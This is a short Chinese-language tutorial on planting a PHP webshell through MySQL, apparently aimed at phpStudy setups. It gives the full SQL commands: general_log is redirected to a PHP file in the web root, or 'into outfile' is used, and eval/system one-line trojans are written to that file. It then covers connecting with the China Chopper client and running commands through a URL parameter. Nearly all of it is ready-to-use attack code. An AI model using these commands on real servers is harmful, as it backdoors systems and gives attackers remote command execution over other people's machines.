方法一:通过日志文件拿webshell
常用的语句如下:
show global variables like '%general%';
set global general_log='on';
set global general_log_file = 'D:/phpStudy_pro/WWW/muma.php';
show global variables like '%general%';
select '<?php eval($_POST["admin"]);?>';
select+'<?php+phpinfo();+?>'
select+'<?php+//%0Aphpinfo();+?>'
查看日志目录路径
show global variables like '%general%';

打开日志功能
set global general_log='on';

设置日志文件目录,创建php日志文件
set global general_log_file='D:/phpStudy_pro/WWW/muma.php';

查看自己创建的日志文件
show global variables like '%general%';

往日志文件里写一句话木马
select '<?php eval($_POST["admin"]);?>';

使用中国菜刀工具连接自己创建的php文件。

链接到了服务器的目录

懒人方法:也可以直接全部运行
show global variables like '%general%';
set global general_log='on';
set global general_log_file = 'D:/phpStudy_pro/WWW/muma.php';
show global variables like '%general%';
select '<?php eval($_POST["admin"]);?>';

方法二:上传日志文件拿shell
常用语句
1.⾸先判断mysql位置
select @@datadir
路径:C:\phpStudy\MySQL\data\
2.猜测web路径
猜测web路径:C:\phpStudy\www
C:\phpStudy\WWW\web.php
3.写webshell
select "<?php eval($_POST[a]);?>" into outfile 'c:/phpstudy/www/b.php';
select "<?php system($_GET[a]);?>" into outfile 'c:/phpstudy/PHPTutorial/w
ww/d.php';
4.浏览器
http://192.168.2.8/d.php?a=dir ..\
select "<?php phpinfo();eval($_POST[a]);?>" into outfile 'C:\phpStudy\WWW
\web.php';
备注:/
不要⽤\,如⾥要⽤\\(转义)